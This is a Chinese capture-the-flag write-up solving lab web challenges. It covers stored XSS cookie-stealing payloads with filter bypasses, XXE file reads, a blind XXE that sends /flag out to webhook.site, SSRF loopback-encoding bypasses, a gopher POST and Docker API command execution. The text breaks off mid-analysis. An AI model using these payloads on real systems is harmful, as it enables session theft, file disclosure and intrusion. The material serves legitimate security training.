Featured image of post QingCen靶场Web入门wp 下

QingCen靶场Web入门wp 下

11891 字

前言

到最后了,/(ㄒoㄒ)/~~

EZXSS

EZXSS(存储型 XSS)

漏洞类型: 存储型 XSS(Stored Cross-Site Scripting)

题目分析:

目标是一个技术博客网站,包含搜索框和留言板功能。经测试:

  • 搜索框对输入做了 HTML 转义(<&lt;),反射型 XSS 不可行
  • 留言板(/guestbook)直接将用户输入渲染到 HTML 中,无任何过滤和转义
  • 页面无 CSP 头,XSS 可自由执行
  • /flag 端点返回 404,说明 flag 在 admin 的 cookie 中
  • 主页有清除 cookie 的 JS 脚本,但留言板页面没有 1 攻击思路: 提交 XSS payload → admin bot 访问留言板审核 → XSS 在 admin 浏览器中执行 → 窃取 admin cookie → 回传到留言板

关键发现: <script> 标签在 innerHTML 插入的 HTML 中不会执行,必须使用 <img onerror> 等事件处理器触发 JS。

Step 1:测试搜索框(反射型 XSS 不可行)

1
2
http://target/?q=<script>alert(1)</script>
# 输出被转义为 &lt;script&gt;alert(1)&lt;/script&gt;

Step 2:测试留言板(存储型 XSS 确认)

1
2
3
4
POST /guestbook HTTP/1.1
Content-Type: application/x-www-form-urlencoded

content=<b>bold</b><script>alert(1)</script><img src=x onerror=alert(2)>

页面渲染结果:<b> 标签生效,<script> 不执行,<img onerror> 触发弹窗。

Step 3:提交 XSS Payload 窃取 Admin Cookie

使用 img onerror + fetch 将 admin cookie 回传到留言板。注意引号嵌套:onerror 属性用双引号包裹,内部 JS 字符串用单引号。

1
<img src=x onerror="fetch('/guestbook',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=FLAG:'+document.cookie})">

Step 4:等待 Admin Bot 访问,刷新留言板获取 Flag

Admin bot 定期访问 /guestbook 审核留言,浏览器执行 onerror 中的 JS:

  1. 读取 document.cookieflag=flag{xxx}
  2. POST 到 /guestbookcontent=FLAG:flag{flag{xxx}}

刷新留言板即可看到回传的 flag。

Flag: flag{6d73dd52-37ae-4b9c-9020-c6b5dff252af}

EZXSS_1(存储型 XSS + 标签/属性过滤绕过)

漏洞类型: 存储型 XSS(Stored Cross-Site Scripting)+ 过滤绕过

题目分析:

与 EZXSS 基础题相同的网站结构,但增加了 WAF 过滤:

  • 搜索框 HTML 转义,反射型 XSS 不可行
  • 留言板存储型 XSS,但服务端对输入进行了关键词过滤
  • 无 CSP 头

过滤测试:

经逐步测试,以下关键词/标签被过滤:

  • <script> 标签 → 过滤
  • <img> 标签 → 过滤
  • <body> 标签 → 过滤(同时影响 fetch 的 body 属性名)
  • <iframe> 标签 → 过滤

以下标签可用:

  • <svg>
  • <input>
  • <details>

绕过思路:

  1. 标签绕过:用 <svg onload> 替代 <img onerror>
  2. body 属性绕过:用 XMLHttpRequest.send() 替代 fetch 的 body,或用属性名拼接 ['bo'+'dy']

Step 1:测试过滤规则

1
2
3
4
5
# 测试哪些标签被过滤
content=<script>alert(1)</script>     # ✗ 被过滤
content=<img src=x onerror=alert(1)>  # ✗ 被过滤
content=<svg onload=alert(1)>         # ✓ 可用
content=<input onfocus=alert(1) autofocus>  # ✓ 可用

Step 2:绕过 body 属性过滤 — 方法1 XMLHttpRequest

XMLHttpRequest.send() 替代 fetch 的 body 属性,完全避免使用 body 关键词:

1
<svg onload="var x=new XMLHttpRequest();x.open('POST','/guestbook');x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('content=FLAG:'+encodeURIComponent(document.cookie))">

Step 3:绕过 body 属性过滤 — 方法2 属性名拼接

仍然使用 fetch,但用 ['bo'+'dy'] 拼接绕过 body 关键词检测:

1
<svg onload="fetch('/guestbook',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},['bo'+'dy']:'content=FLAG:'+encodeURIComponent(document.cookie)})">

Step 4:提交 payload 并获取 flag

多提交几次,等待 admin bot 访问留言板触发 XSS,刷新页面即可看到回传的 flag。

Flag: flag{36708ba7-72e9-4f53-8778-25d7933bbaa9}

EZXSS_2(存储型 XSS + 多重过滤绕过)

漏洞类型: 存储型 XSS(Stored Cross-Site Scripting)+ 多重过滤绕过

题目分析:

在 EZXSS_1 基础上增加了更严格的 WAF:

  • <script><img><body> 标签过滤
  • varbodynew Image 等关键词过滤
  • 事件处理器与标签之间有空格时被过滤(如 <svg onload=...>
  • HTML 中的 > 会截断属性值

过滤测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 标签过滤
content=<script>alert(1)</script>      # ✗ 被过滤
content=<img src=x onerror=alert(1)>   # ✗ 被过滤
content=<svg onload=alert(1)>          # ✗ 空格被检测
content=<svg/onload=alert(1)>          # ✓ 用 / 替代空格绕过

# 关键词过滤
content=<svg/onload=var x=1>           # ✗ var 被过滤
content=<svg/onload=body>              # ✗ body 被过滤
content=<svg/onload=x=1>              # ✓ 可用
content=<svg/onload=eval(atob('...'))> # ✓ 可用

绕过思路:

  1. 标签绕过:<svg/onload>/ 替代空格绕过检测
  2. body 属性绕过:用 XMLHttpRequest.send() 替代 fetch 的 body
  3. 特殊字符绕过:用 eval(atob('base64')) 避免 > 截断 HTML 属性

Step 1:确认过滤规则

1
2
3
4
# 测试 / 分隔符绕过空格检测
content=<svg/onload=alert(1)>
# 测试 eval+atob 绕过特殊字符
content=<svg/onload=eval(atob('YWxlcnQoMSk='))>

Step 2:构造 Payload — XMLHttpRequest + eval(atob(…))

JS 代码(避免 varbody 关键词):

1
x=new XMLHttpRequest();x.open('POST','/guestbook');x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('content=FLAG:'+document.cookie)

Base64 编码后用 eval(atob(...)) 执行:

1
<svg/onload=eval(atob('eD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4Lm9wZW4oJ1BPU1QnLCcvZ3Vlc3Rib29rJyk7eC5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTt4LnNlbmQoJ2NvbnRlbnQ9RkxBRzonK2RvY3VtZW50LmNvb2tpZSk='))>

Step 3:提交 payload 并获取 flag

多提交几次,等待 admin bot 访问触发 XSS。

Flag: flag{26d8fef3-2dc5-45fe-ba10-902b6ea939c2}

EZXXE

EZXXE(基础 XXE 文件读取)

漏洞类型: XML 外部实体注入(XXE - XML External Entity Injection)— 本地文件读取

题目分析:

目标是一个 XML 解析服务,页面包含一个表单,用户输入 XML 内容后提交到 xml.php 进行解析,解析结果直接回显在页面上。

关键点:

  • 表单提交到 xml.php,POST 方法,参数名为 contract
  • 服务端使用 XML 解析器处理用户输入
  • 解析结果直接回显,无过滤
  • 未禁用外部实体加载

攻击思路: 构造 XML 外部实体 → 引用本地文件 file:///flag → 服务端解析时读取文件内容 → 回显 flag

Step 1:分析页面结构

页面有一个 textarea 表单,默认内容为 XML 声明:

1
<?xml version="1.0" encoding="UTF-8"?>

提交到 xml.php,解析结果显示在 <pre id="output"> 中。

Step 2:构造 XXE Payload 读取 /flag

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>&xxe;</root>

原理说明:

  • <!DOCTYPE foo [...]> 定义文档类型,内部声明外部实体
  • <!ENTITY xxe SYSTEM "file:///flag"> 声明一个外部实体 xxe,指向本地文件 /flag
  • <root>&xxe;</root> 在 XML 中引用该实体,解析器会将其替换为文件内容

Step 3:提交 Payload 获取 Flag

1
2
3
4
5
6
7
curl -X POST "http://target/xml.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'contract=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>&xxe;</root>'

Flag: flag{b8107160-86f1-4998-9489-4a4fafdc97c4}

EZXXE_1(SVG 文件上传 XXE)

漏洞类型: XML 外部实体注入(XXE)— SVG 文件上传触发

题目分析:

与 EZXXE 不同,本题不是直接输入 XML,而是通过 SVG 文件上传触发 XXE:

  • 页面是 SVG Vector Viewer,接受 .svg 文件上传
  • 表单使用 multipart/form-data 编码
  • 服务端解析 SVG 文件并提取元数据(尺寸、描述等)
  • SVG 是基于 XML 的格式,可在其中嵌入 XXE payload

攻击思路: 构造恶意 SVG 文件 → 嵌入 XXE 外部实体 → 上传到服务端 → 服务端解析 SVG 时读取本地文件 → 返回文件内容

关键发现: 服务端解析 SVG 后提取 <desc> 标签内容作为 “Analysis Result” 显示,因此 flag 需要通过 <desc> 标签输出。

Step 1:分析上传功能

页面表单结构:

1
2
3
4
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file" accept=".svg">
    <button type="submit">Analyze</button>
</form>

上传后服务端解析 SVG 并返回:尺寸、<desc> 标签内容等。

Step 2:构造恶意 SVG 文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <desc>&xxe;</desc>
</svg>

原理说明:

  • SVG 是 XML 格式,支持 DOCTYPE 声明
  • 声明外部实体 xxe 引用 file:///flag
  • 将实体放在 <desc> 标签中,服务端解析后会显示描述内容

Step 3:上传并获取 Flag

1
curl -F "file=@evil.svg" "http://target/"

服务端返回:

1
2
3
4
5
<div class='result'>
  <h3>Analysis Result</h3>
  <p><strong>Dimensions:</strong> 100 x 100</p>
  <p><em>flag{f9583848-22b0-4855-95e2-c3c5a47b5c23}</em></p>
</div>

Flag: flag{f9583848-22b0-4855-95e2-c3c5a47b5c23}

EZXXE_2(XXE + WAF 关键词过滤绕过)

漏洞类型: XML 外部实体注入(XXE)+ WAF 绕过

题目分析:

与 EZXXE_1 同为 SVG 文件上传 XXE,但增加了 WAF 过滤:

  • file:// 协议被过滤
  • flag 关键词被过滤(无论出现在路径的任何位置)
  • php://expect://data:// 等协议被过滤
  • 直接路径(如 /etc/passwd)可以读取,但含 flag 的路径被拦截

过滤测试:

1
2
3
4
# 被过滤的关键词
content=<ENTITY xxe SYSTEM "file:///flag">    # ✗ file:// 被过滤
content=<ENTITY xxe SYSTEM "/flag">           # ✗ flag 被过滤
content=<ENTITY xxe SYSTEM "/etc/passwd">     # ✓ 可以读取

绕过思路: 使用 URL 编码绕过关键词检测。WAF 在检测前未对输入进行 URL 解码,因此可以用 %67 替代 g 来绕过 flag 关键词检测。

Step 1:确认过滤规则

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "/etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg"><desc>&xxe;</desc></svg>
# ✓ 可以读取,说明直接路径可用

Step 2:URL 编码绕过

flag 中的 g 编码为 %67,路径变为 /fla%67,WAF 无法识别但服务端会解码:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "/fla%67">
]>
<svg xmlns="http://www.w3.org/2000/svg"><desc>&xxe;</desc></svg>

Step 3:上传 SVG 获取 Flag

1
curl -F "file=@evil.svg" "http://target/"

Flag: flag{9e08d0c8-88a7-4ec0-b3e9-592f7bda2ea8}

EZXXE_3 盲 XXE + OOB 外带

这一题页面给了非常明显的提示:

  • 提交点是 POST /xml.php
  • 支持 DTD 和外部实体
  • 解析结果不会回显文件内容,只会告诉我们 OKFAIL
  • 页面还直接提示了 “知道 flag 在根目录又如何”

所以这题本质上就是一道盲 XXE。因为文件内容不直接回显到页面里,常规的:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>&xxe;</root>

虽然能被正常解析,但前端只会显示 OK,并不能直接看到 flag。

先做一个基础验证,确认外部实体确实开启:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><a>&xxe;</a><b></b></root>

返回 OK,说明本地文件实体会被解析。

再构造一个不存在的文件:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///definitely_not_exists_123456">
]>
<root><a>&xxe;</a><b></b></root>

这次返回 FAIL,说明页面上的 OK/FAIL 可以作为一个有效的盲测信号。随后把路径换成 /flag

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root><a>&xxe;</a><b></b></root>

依旧返回 OK,由此确认根目录下的 /flag 确实存在。

接下来就不能再靠页面回显了,得改成 OOB 外带。这里我用 webhook.site 接收请求,先创建一个 token,例如:

1
curl.exe -s -X POST https://webhook.site/token

会拿到一个类似下面的 token:

1
7beb2df4-6f8d-4c37-9d6b-19e90de451ad

这一步之后,先用一个最小 payload 测试目标机器是否真的能主动向外发请求:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://webhook.site/7beb2df4-6f8d-4c37-9d6b-19e90de451ad?ping=http_entity">
]>
<root>&xxe;</root>

查询 webhook.site 的请求记录后,可以看到目标服务器确实访问了这个 URL,说明 OOB 链路是通的。

这一题还有一个很关键的点:data:// 外部 DTD 也能被解析。这样我们就不需要单独找公网主机去托管 evil.dtd,可以直接把恶意 DTD base64 后塞进 data:// 里,再由参数实体把 /flag 内容带到 webhook.site

最终使用的 payload 如下:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % ext SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZmxhZyI+CjwhRU5USVRZICUgZXZhbCAiPCFFTlRJVFkgJiN4MjU7IGV4ZmlsIFNZU1RFTSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvN2JlYjJkZjQtNmY4ZC00YzM3LTlkNmItMTllOTBkZTQ1MWFkP2Q9JWZpbGU7Jz4iPgolZXZhbDsKJWV4ZmlsOw==">
  %ext;
]>
<root>1</root>

这段 base64 解码后的 DTD 逻辑是:

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://webhook.site/7beb2df4-6f8d-4c37-9d6b-19e90de451ad?d=%file;'>">
%eval;
%exfil;

思路就是:

  1. php://filter/convert.base64-encode/resource=/flag 读取并编码 /flag
  2. 用参数实体再拼出一个新的外部实体 %exfil
  3. 让服务端主动请求 https://webhook.site/...?...,把 base64 形式的 flag 带出去

最后在 webhook.site 请求记录里拿到:

1
ZmxhZ3tlYzQ3OGUyMy1mNjc5LTQwMDItODU0ZS1kMzRjOGU3Njg1NmJ9Cg==

base64 解码后得到最终 flag:

1
flag{ec478e23-f679-4002-854e-d34c8e76856b}

EZSSRF

EZSSRF(基础 SSRF 内网端口探测)

漏洞类型: 服务端请求伪造(SSRF - Server-Side Request Forgery)— 内网端口探测

题目分析:

目标页面是一个"VIP 用户专属内网服务",提供一个 URL 输入框,服务端会代为请求用户输入的 URL。页面提示:

  • 内部网关服务运行中,需输入正确的 IP/端口
  • VIP 用户专用端口在 8888~9999 之间

关键点:

  • 服务端对用户输入的 URL 发起请求,并将响应内容回显到页面上
  • 可以访问 127.0.0.1(本地回环),说明存在 SSRF 漏洞
  • 需要通过 SSRF 探测内网中 8888~9999 范围内的服务端口

攻击思路: 利用 SSRF 逐一探测内网端口 → 找到开放的内部服务 → 访问内部服务的敏感路径获取 flag

Step 1:确认 SSRF 可用

首先验证服务端确实会代为请求,访问 80 端口(返回页面本身):

1
url=http://127.0.0.1:80/

返回页面自身内容,确认 SSRF 可用。

Step 2:探测内网端口

根据提示,端口范围在 8888~9999 之间。逐一扫描:

1
2
3
4
5
# 批量探测 8888-9999 范围内的端口
url=http://127.0.0.1:8888/  # → Failed to connect
url=http://127.0.0.1:8889/  # → Failed to connect
...
url=http://127.0.0.1:9001/  # → HTTP 200,返回 "欢迎您,尊敬的vip用户。现在您可以访问管理员admin面板"

发现端口 9001 开放,返回 VIP 用户欢迎信息,并提示可以访问管理员 admin 面板。

Step 3:探测内部服务路径

在 9001 端口上探测 admin 相关路径:

1
2
3
# 探测 admin 面板
url=http://127.0.0.1:9001/admin        # → HTTP 200, 44 bytes
url=http://127.0.0.1:9001/admin/flag    # → HTTP 200, 42 bytes,返回 flag!

Step 4:获取 Flag

1
url=http://127.0.0.1:9001/admin/flag

页面响应中直接回显 flag:

1
flag{9581e95e-75a6-43e3-81a2-bb5668212002}

Flag: flag{9581e95e-75a6-43e3-81a2-bb5668212002}

EZSSRF_1(SSRF + IP 黑名单绕过 — 十六进制编码)

漏洞类型: 服务端请求伪造(SSRF)+ IP 黑名单绕过

题目分析:

与 EZSSRF 基础题相同的网站结构,提供一个 URL 输入框让服务端代为请求,但增加了 IP 黑名单过滤:

  • 直接使用 127.0.0.1 → 返回 Blocked IP
  • 使用 localhost → 返回 Blocked host
  • IPv6 [::1] → 连接失败(服务端不支持 IPv6)
  • 页面 HTML 注释提示:VIP 用户专用端口在 8888~9999 之间
  • 服务端返回响应状态码和内容长度,可作为端口探测信号

过滤测试:

1
2
3
4
5
6
7
8
# 被拦截的 IP 表示方式
url=http://127.0.0.1:9001/       # ✗ Blocked IP
url=http://localhost:9001/       # ✗ Blocked host
url=http://0.0.0.0:9001/         # ✗ Blocked IP
url=http://[::1]:9001/           # ✗ 连接失败

# 可绕过的方式
url=http://0x7f000001:9001/      # ✓ 十六进制编码绕过,HTTP 200

绕过思路: 服务端对 IP 黑名单的检测仅匹配点分十进制格式(127.0.0.1)和 localhost 字符串,但底层的 HTTP 客户端库(如 PHP cURL)支持多种 IP 表示方式。使用十六进制编码 0x7f000001(即 127.0.0.1 的十六进制表示)即可绕过黑名单检测。

Step 1:确认 SSRF 及 IP 黑名单存在

1
2
url=http://127.0.0.1:9001/
# 返回 "Blocked IP",确认黑名单生效

Step 2:十六进制编码绕过 IP 黑名单

127.0.0.1 的十六进制表示为 0x7f000001127=0x7F, 0=0x00, 0=0x00, 1=0x01):

1
2
3
url=http://0x7f000001:9001/
# 返回 HTTP 200,75 bytes
# 响应内容:"欢迎您,尊敬的vip用户。现在您可以访问管理员admin面板"

Step 3:探测内部服务路径

在 9001 端口上探测 admin 相关路径:

1
2
3
4
5
url=http://0x7f000001:9001/admin
# 返回 HTTP 200,44 bytes → "Internal Admin Panel"

url=http://0x7f000001:9001/admin/flag
# 返回 HTTP 200,42 bytes → flag!

Step 4:获取 Flag

1
url=http://0x7f000001:9001/admin/flag

页面响应中直接回显 flag:

Flag: flag{1160e55c-f0a1-40f9-b15a-31c73d0654dc}

EZSSRF_2(SSRF + IP 多重编码绕过 — 混合十六进制表示法)

漏洞类型: 服务端请求伪造(SSRF)+ IP 黑名单多重编码绕过

题目分析:

在 EZSSRF_1 的基础上,本题进一步加强了 IP 黑名单过滤,封堵了常见的 IP 编码绕过方式:

  • 127.0.0.1Blocked IP
  • 0x7f000001(纯十六进制)→ Hex IP not allowed
  • 0177.0.0.1(八进制)→ Octal IP not allowed
  • 2130706433(十进制整数)→ Integer IP not allowed
  • 127.1(短格式)→ Loopback range blocked
  • 0x7f.0.0.1(混合十六进制表示法)→ 绕过成功!HTTP 200

过滤测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 全部被拦截的方式
url=http://127.0.0.1:9001/           # ✗ Blocked IP
url=http://0x7f000001:9001/          # ✗ Hex IP not allowed
url=http://0177.0.0.1:9001/          # ✗ Octal IP not allowed
url=http://2130706433:9001/          # ✗ Integer IP not allowed
url=http://017700000001:9001/        # ✗ Integer IP not allowed
url=http://127.1:9001/               # ✗ Loopback range blocked

# 绕过成功的方式
url=http://0x7f.0.0.1:9001/          # ✓ 混合十六进制,HTTP 200

绕过思路: 服务端分别检测了纯十六进制(0x7f000001)、八进制(0177.0.0.1)、整数(2130706433)等格式,但遗漏了混合十六进制表示法 0x7f.0.0.1——只有第一个八位组用十六进制 0x7f(=127)表示,其余为正常十进制。底层 HTTP 客户端库(PHP cURL)能正确解析这种混合格式,但 WAF 的正则未覆盖此模式。

Step 1:确认多重过滤规则

1
2
3
4
url=http://127.0.0.1:9001/          # → Blocked IP
url=http://0x7f000001:9001/         # → Hex IP not allowed
url=http://0177.0.0.1:9001/         # → Octal IP not allowed
url=http://2130706433:9001/         # → Integer IP not allowed

Step 2:混合十六进制表示法绕过

127 写为 0x7f,其余保持十进制,组成 0x7f.0.0.1

1
2
3
url=http://0x7f.0.0.1:9001/
# 返回 HTTP 200,75 bytes
# 响应内容:"欢迎您,尊敬的vip用户。现在您可以访问管理员admin面板"

Step 3:探测内部服务路径

1
2
3
4
5
url=http://0x7f.0.0.1:9001/admin
# 返回 HTTP 200,44 bytes → "Internal Admin Panel"

url=http://0x7f.0.0.1:9001/admin/flag
# 返回 HTTP 200,42 bytes → flag!

Step 4:获取 Flag

1
url=http://0x7f.0.0.1:9001/admin/flag

Flag: flag{7b23f7e3-92fb-4a65-95d5-091852f917af}

EZSSRF_3(SSRF + file:// 协议本地文件读取)

漏洞类型: 服务端请求伪造(SSRF)— file:// 协议本地文件读取

题目分析:

目标是一个 “URL Fetcher - Enterprise Edition” 页面,提供一个 URL 输入框,服务端会代为请求用户输入的 URL 并回显响应内容。

关键点:

  • 表单通过 POST 提交,参数名为 url
  • 服务端对用户输入的 URL 发起请求,并将响应内容(HTTP 状态码、内容类型、响应大小、响应体)回显到页面上
  • HTML 注释泄露提示:<!-- flag在/flag.txt里 -->
  • 与 EZSSRF / EZSSRF_1 / EZSSRF_2 不同,本题没有内网端口探测的场景,也没有 IP 黑名单过滤
  • 本题的核心考点是:服务端未限制请求协议,允许使用 file:// 协议直接读取本地文件

攻击思路: 利用 SSRF 的 file:// 协议 → 直接读取服务器本地的 /flag.txt 文件 → 回显 flag

Step 1:分析页面结构

页面包含一个 POST 表单,参数 url,HTML 注释中泄露了 flag 位置:

1
<!--  flag在/flag.txt里  -->

Step 2:确认 SSRF 可用

先用 http://127.0.0.1/ 测试,返回页面自身内容(HTTP 200, 9388 bytes),确认 SSRF 正常工作:

1
url=http://127.0.0.1/

Step 3:使用 file:// 协议读取本地 flag

直接使用 file:///flag.txt 读取服务器本地文件:

1
url=file:///flag.txt

服务端返回:

1
2
3
4
HTTP 状态码: N/A
内容类型: unknown
响应大小: 43 bytes
响应内容: flag{b83b873d-5858-4624-8fc0-4d73dbbd33e8}

分析: 本题与前几题 EZSSRF 系列不同,没有 IP 黑名单、端口范围限制等防护,而是考察对 file:// 协议的理解。服务端使用 cURL 等 HTTP 客户端库发起请求时,支持 file://ftp://gopher:// 等多种协议。当未对协议类型做白名单限制时,攻击者可以直接用 file:// 读取服务器本地任意文件。

Flag: flag{b83b873d-5858-4624-8fc0-4d73dbbd33e8}

EZSSRF_4(SSRF + file:// 读源码 + gopher 协议构造 POST 请求)

漏洞类型: 服务端请求伪造(SSRF)— file:// 本地文件读取 + gopher 协议内网 POST 请求伪造

题目分析:

目标是一个 “ImageHub - Image Upload Service”,提供 URL 图片上传功能,服务端会代为请求用户输入的 URL 并将响应作为图片展示。

关键点:

  • 表单通过 POST 提交,参数名为 image_url
  • 页面明确说明支持 HTTP、HTTPS、FTP、Gopher、File 五种协议
  • 服务端使用 PHP cURL 发起请求,支持 CURLOPT_FOLLOWLOCATION(跟随重定向)
  • 无 IP 黑名单、无协议过滤

攻击思路: 第一步用 file:// 读取源码,发现 flag.php 有 IP 限制且需要 POST JSON;第二步用 gopher:// 协议构造原始 HTTP POST 请求绕过限制。

Step 1:确认 file:// 协议可用

1
url=file:///etc/passwd

返回 root:x:0:0:root:/root:/bin/bash...,确认 file:// 协议可读取本地文件。

Step 2:枚举 Web 目录文件

通过 /proc/self/cwd/ 列出 Web 根目录:

1
url=file:///proc/self/cwd/

返回文件列表:styles.csstemplate.htmlindex.phpflag.php

Step 3:读取 index.php 源码

1
url=file:///proc/self/cwd/index.php

源码显示服务端直接将用户 URL 传给 cURL,无任何过滤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
function fetch_image(string $url): array {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_TIMEOUT => 10,
    ]);
    // ...
}

Step 4:读取 flag.php 源码,分析访问条件

1
url=file:///proc/self/cwd/flag.php

关键源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$client_ip = $_SERVER['REMOTE_ADDR'] ?? '';
$allowed_ips = ['127.0.0.1', 'localhost'];

if (!in_array($client_ip, $allowed_ips)) {
    http_response_code(403);
    echo json_encode(['error' => 'Access denied']);
    exit;
}

// GET 请求返回源码,POST 请求需要 JSON body {"action": "get_flag"}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = json_decode(file_get_contents('php://input'), true);
    if (isset($data['action']) && $data['action'] === 'get_flag') {
        $response = ['status' => 'success', 'flag' => $processor->getFlag()];
    }
}

三个条件:

  1. IP 限制: REMOTE_ADDR 必须是 127.0.0.1localhost
  2. 请求方法: 必须是 POST
  3. 请求体: JSON 格式 {"action": "get_flag"}

Step 5:HTTP SSRF 验证 IP 限制可绕过

用 HTTP 协议访问 flag.php,因为请求从服务器自身发出,REMOTE_ADDR127.0.0.1,IP 检查通过:

1
url=http://127.0.0.1/flag.php

返回 flag.php 源码(GET 请求返回源码),说明 IP 限制已通过。但 GET 请求无法获取 flag,必须发 POST。

Step 6:用 gopher 协议构造原始 HTTP POST 请求

因为 SSRF 表单只能控制 URL,无法控制 cURL 的请求方法,所以用 gopher:// 协议直接构造原始 HTTP POST 请求发给 127.0.0.1:80

1
url=gopher://127.0.0.1:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%30%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%6a%73%6f%6e%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%32%32%0d%0a%0d%0a%7b%22%61%63%74%69%6f%6e%22%3a%20%22%67%65%74%5f%66%6c%61%67%22%7d

URL 解码后的原始 HTTP 请求:

1
2
3
4
5
6
POST /flag.php HTTP/1.0
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 22

{"action": "get_flag"}

⚠️ 关键踩坑点: Content-Length 必须精确等于请求体的字节数({"action": "get_flag"} = 22 字节)。如果长度不对,Apache 会等待剩余数据导致超时。

Step 7:获取 Flag

服务端返回:

1
2
3
4
{
    "status": "success",
    "flag": "flag{deebce61-d165-4842-b046-1ed4c168702b}"
}

分析: 本题综合考察了两个 SSRF 技巧:

  1. file:// 协议读源码 — 通过 /proc/self/cwd/ 定位 Web 目录,读取 flag.php 源码分析访问条件
  2. gopher 协议构造 POST 请求 — SSRF 表单只能让 cURL 发 GET 请求,但 gopher:// 协议可以发送任意原始 TCP 数据,从而构造 POST 请求绕过方法限制

Flag: flag{deebce61-d165-4842-b046-1ed4c168702b}

EZSSRF_5(SSRF + Docker API 远程命令执行)

漏洞类型: 服务端请求伪造(SSRF)— Docker API 未授权访问 + 容器内命令执行

题目分析:

目标是一个 “URL 检测” 页面,提供 URL、HTTP 方法(GET/POST)和请求体三个输入项,服务端会代为请求用户指定的地址。

关键点:

  • 表单支持 GET/POST 方法和自定义请求体
  • 页面提示仅支持 http/https 协议
  • HTML 注释泄露关键信息: <!-- 内网依赖:Docker API 127.0.0.1:2375(运维文档) -->
  • Docker API 默认监听 2375 端口,无认证即可访问

攻击思路: 通过 SSRF 访问内网 Docker API → 列出容器 → 在目标容器内创建 exec 实例 → 启动 exec 执行命令读取 flag

Step 1:发现 Docker API 注释

页面 HTML 注释泄露了内网 Docker API 地址:

1
<!-- 内网依赖:Docker API 127.0.0.1:2375(运维文档) -->

Step 2:确认 SSRF 可用并探测 Docker API

1
2
url=http://127.0.0.1:2375/
method=GET

返回 HTTP 200 | OK,确认 Docker API 可访问。

Step 3:列出容器信息

1
2
url=http://127.0.0.1:2375/containers/json
method=GET

返回容器信息,发现:

  • 容器名:ctf_container
  • 容器 ID 前缀:4f1d60ea7287
  • 镜像:ubuntu:latest
  • 状态:running
  • IP:172.17.0.2

Step 4:在容器内创建 exec 实例

通过 Docker API 的 /containers/{id}/exec 端点在容器内创建命令执行实例:

1
2
3
url=http://127.0.0.1:2375/containers/4f1d60ea7287/exec
method=POST
body={"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Cmd":["cat","/flag.txt"]}

返回 exec ID:execc7353f7a7b01d7c9f462624f596456ce

Step 5:启动 exec 获取 flag(关键踩坑)

1
2
3
url=http://127.0.0.1:2375/exec/execc7353f7a7b01d7c9f462624f596456ce/start
method=POST
body={"Detach":false,"Tty":true}

⚠️ 关键踩坑点: exec 的 Tty 参数决定了输出格式:

  • Tty: false → Docker API 返回 multiplexed 流,每个帧有 8 字节头(4 字节流类型 + 4 字节长度),SSRF 代理只读取了前几个字节,返回乱码
  • Tty: true → Docker API 返回原始文本流,SSRF 代理可直接读取

使用 Tty: true 后,服务端返回:

1
flag{de3aff20-53b5-40d3-bdbc-88a738997ff0}

分析: 本题考察 SSRF + Docker API 未授权访问的组合利用:

  1. 信息收集 — HTML 注释泄露内网 Docker API 地址
